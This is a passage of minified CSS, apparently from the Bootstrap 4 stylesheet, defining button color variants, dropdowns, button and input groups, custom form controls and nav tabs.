rgba(222,170,12,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c82333;border-color:#bd2130;box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{color:#212529;background-color:#e2e6ea;border-color:#dae0e5;box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{color:#fff;background-color:#23272b;border-color:#1d2124;box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-outline-primary{color:#007bff;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;text-decoration:none}.btn-link:hover{color:#0056b3;text-decoration:underline}.btn-link.focus,.btn-link:focus{text-decoration:underline}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-left{right:auto;left:0}.dropdown-menu-right{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-left{right:auto;left:0}.dropdown-menu-sm-right{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-left{right:auto;left:0}.dropdown-menu-md-right{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-left{right:auto;left:0}.dropdown-menu-lg-right{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-left{right:auto;left:0}.dropdown-menu-xl-right{right:0;left:auto}}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{color:#6c757d;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;-ms-flex:1 1 auto;flex:1 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-toolbar{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:center;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control,.input-group>.form-control-plaintext{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;min-width:0;margin-bottom:0}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control,.input-group>.form-control-plaintext+.custom-file,.input-group>.form-control-plaintext+.custom-select,.input-group>.form-control-plaintext+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:-ms-flexbox;display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn:focus,.input-group-prepend .btn:focus{z-index:3}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.custom-select,.input-group-lg>.form-control:not(textarea){height:calc(1.5em + 1rem + 2px)}.input-group-lg>.custom-select,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-sm>.custom-select,.input-group-sm>.form-control:not(textarea){height:calc(1.5em + .5rem + 2px)}.input-group-sm>.custom-select,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group-lg>.custom-select,.input-group-sm>.custom-select{padding-right:1.75rem}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;z-index:1;display:block;min-height:1.5rem;padding-left:1.5rem;-webkit-print-color-adjust:exact;color-adjust:exact}.custom-control-inline{display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;left:0;z-index:-1;width:1rem;height:1.25rem;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;border-color:#007bff;background-color:#007bff}.custom-control-input:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-control-input:focus:not(:checked)~.custom-control-label::before{border-color:#80bdff}.custom-control-input:not(:disabled):active~.custom-control-label::before{color:#fff;background-color:#b3d7ff;border-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label,.custom-control-input[disabled]~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label::before,.custom-control-input[disabled]~.custom-control-label::before{background-color:#e9ecef}.custom-control-label{position:relative;margin-bottom:0;vertical-align:top}.custom-control-label::before{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;pointer-events:none;content:"";background-color:#fff;border:#adb5bd solid 1px}.custom-control-label::after{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;content:"";background:no-repeat 50%/50% 50%}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26l2.974 2.99L8 2.193z'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{border-color:#007bff;background-color:#007bff}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='4' viewBox='0 0 4 4'%3e%3cpath stroke='%23fff' d='M0 2h4'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-switch{padding-left:2.25rem}.custom-switch .custom-control-label::before{left:-2.25rem;width:1.75rem;pointer-events:all;border-radius:.5rem}.custom-switch .custom-control-label::after{top:calc(.25rem + 2px);left:calc(-2.25rem + 2px);width:calc(1rem - 4px);height:calc(1rem - 4px);background-color:#adb5bd;border-radius:.5rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-switch .custom-control-label::after{transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label::after{background-color:#fff;-webkit-transform:translateX(.75rem);transform:translateX(.75rem)}.custom-switch .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem 1.75rem .375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{display:none}.custom-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #495057}.custom-select-sm{height:calc(1.5em + .5rem + 2px);padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem}.custom-select-lg{height:calc(1.5em + 1rem + 2px);padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem}.custom-file{position:relative;display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(1.5em + .75rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:disabled~.custom-file-label,.custom-file-input[disabled]~.custom-file-label{background-color:#e9ecef}.custom-file-input:lang(en)~.custom-file-label::after{content:"Browse"}.custom-file-input~.custom-file-label[data-browse]::after{content:attr(data-browse)}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(1.5em + .75rem);padding:.375rem .75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:inherit;border-radius:0 .25rem .25rem 0}.custom-range{width:100%;height:1.4rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#007bff;border:0;border-radius:1rem;-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#b3d7ff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{-moz-transition:none;transition:none}}.custom-range::-moz-range-thumb:active{background-color:#b3d7ff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:.2rem;margin-left:.2rem;background-color:#007bff;border:0;border-radius:1rem;-ms-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{-ms-transition:none;transition:none}}.custom-range::-ms-thumb:active{background-color:#b3d7ff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.custom-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.custom-range:disabled::-webkit-slider-runnable-track{cursor:default}.custom-range:disabled::-moz-range-thumb{background-color:#adb5bd}.custom-range:disabled::-moz-range-track{cursor:default}.custom-range:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label::before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-control-label::before,.custom-file-label,.custom-select{transition:none}}.nav{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item,.nav-fill>.nav-link{-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified 